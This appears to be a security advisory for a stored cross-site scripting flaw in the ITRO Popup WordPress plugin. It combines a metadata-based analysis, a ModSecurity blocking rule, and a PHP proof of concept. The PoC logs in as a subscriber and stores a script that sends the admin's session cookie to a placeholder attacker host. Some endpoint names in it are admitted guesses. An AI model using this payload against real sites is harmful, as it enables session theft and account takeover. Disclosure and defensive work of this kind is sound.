Atomic Edge analysis of CVE-2026-96841 (metadata-based):
This CVE describes a stored cross-site scripting vulnerability in the ITRO Popup Plugin for WordPress, versions up to and including 5.2.6. The flaw resides in the handling of the ‘custom_html’ parameter, which the plugin fails to sanitize on input and escape on output. Successful exploitation requires authenticated access with at least Subscriber privileges, but only when an administrator has explicitly granted that role access to the plugin settings page via the plugin’s role selection option. The CVSS score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects a moderate severity with scope change.
Root Cause: The CWE-79 classification and description explicitly state that the plugin lacks proper input sanitization and output escaping for the ‘custom_html’ parameter. Atomic Edge infers from the metadata that the plugin stores this parameter, likely within the wp_options table or a custom popup configuration, and later renders it without applying esc_html() or wp_kses_post(). The absence of a code diff prevents confirmation of the exact sink, but the vulnerability pattern aligns with common WordPress plugin flaws where user-supplied HTML is saved via an AJAX or admin-post handler and echoed directly into the frontend or admin pages. The role selection option indicates the plugin implements a custom capability check, which, when misconfigured, allows low-privileged users to reach the vulnerable settings form.
Exploitation: An attacker with Subscriber-level access (granted plugin settings access) sends a crafted request to the plugin’s settings update endpoint, likely /wp-admin/admin-ajax.php with an action such as ‘itro_popup_save_settings’ or /wp-admin/admin-post.php with a similar action. The request includes the ‘custom_html’ parameter containing a malicious script, for example alert(document.cookie) or a more sophisticated payload that steals session tokens. Because the plugin stores the value without sanitization, the script is saved and later executed whenever an administrator or any user views the popup or the plugin settings page. The attack requires no user interaction beyond the victim visiting the affected page.
Remediation: The fix requires adding input sanitization and output escaping for the ‘custom_html’ parameter. Atomic Edge infers from CWE-79 that the plugin should use wp_kses_post() or a whitelist of allowed HTML tags on save, and esc_html() or wp_kses_post() on output. The plugin must also enforce proper capability checks (e.g., manage_options) and nonce verification on the settings form to prevent unauthorized access. Since no patched version is available, users should disable the plugin or restrict access to the settings page until a fix is released.
Impact: Exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of the affected site. This can lead to session hijacking, theft of sensitive data (including authentication cookies), defacement, or redirection to malicious sites. The scope change (S:C) indicates the vulnerability can affect resources beyond the vulnerable component, such as the entire WordPress admin area if an administrator views the injected content. The CVSS confidentiality and integrity impacts are low, but the potential for privilege escalation (e.g., creating rogue admin accounts) exists if the attacker targets an administrator.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-96841 (metadata-based)
# This rule blocks exploitation attempts targeting the 'custom_html' parameter
# in the ITRO Popup Plugin. It matches requests to admin-ajax.php with an action
# containing 'itro_popup' and a 'custom_html' parameter containing script tags.
# The rule is narrowly scoped to the known attack vector.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202696841,phase:2,deny,status:403,chain,msg:'CVE-2026-96841 via ITRO Popup custom_html parameter',severity:'CRITICAL',tag:'CVE-2026-96841'"
SecRule ARGS_POST:action "@contains itro_popup" "chain"
SecRule ARGS_POST:custom_html "@rx <script|onw+s*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-96841 - ITRO Popup Plugin <= 5.2.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'custom_html' Parameter
// This PoC assumes the attacker has valid Subscriber credentials and that an administrator
// has granted the Subscriber role access to the ITRO Popup Plugin settings page.
// The exact AJAX action and parameter names are inferred from the plugin slug and
// common WordPress patterns; adjust if the actual implementation differs.
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'subscriber'; // Subscriber username
$password = 'password'; // Subscriber password
// Malicious payload to inject into the 'custom_html' parameter
// This payload exfiltrates the admin's session cookie to an attacker-controlled server.
$payload = '<script>new Image().src="http://attacker.com/steal?c="+document.cookie;</script>';
// Step 1: Log in as the Subscriber to obtain authentication cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Send the malicious 'custom_html' value to the plugin's settings handler.
// The action name is guessed based on the plugin slug ('itro-popup') and typical naming.
// Common patterns: 'itro_popup_save_settings', 'itro_popup_update', 'save_popup_settings'.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'itro_popup_save_settings', // Adjust if different
'custom_html' => $payload,
// Include a nonce if required; often the plugin localizes a nonce.
// 'nonce' => '...' // Obtain from the settings page source.
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: The payload is now stored. It executes when an admin views the popup or settings page.
echo "PoC completed. Check if payload was stored successfully.n";
?>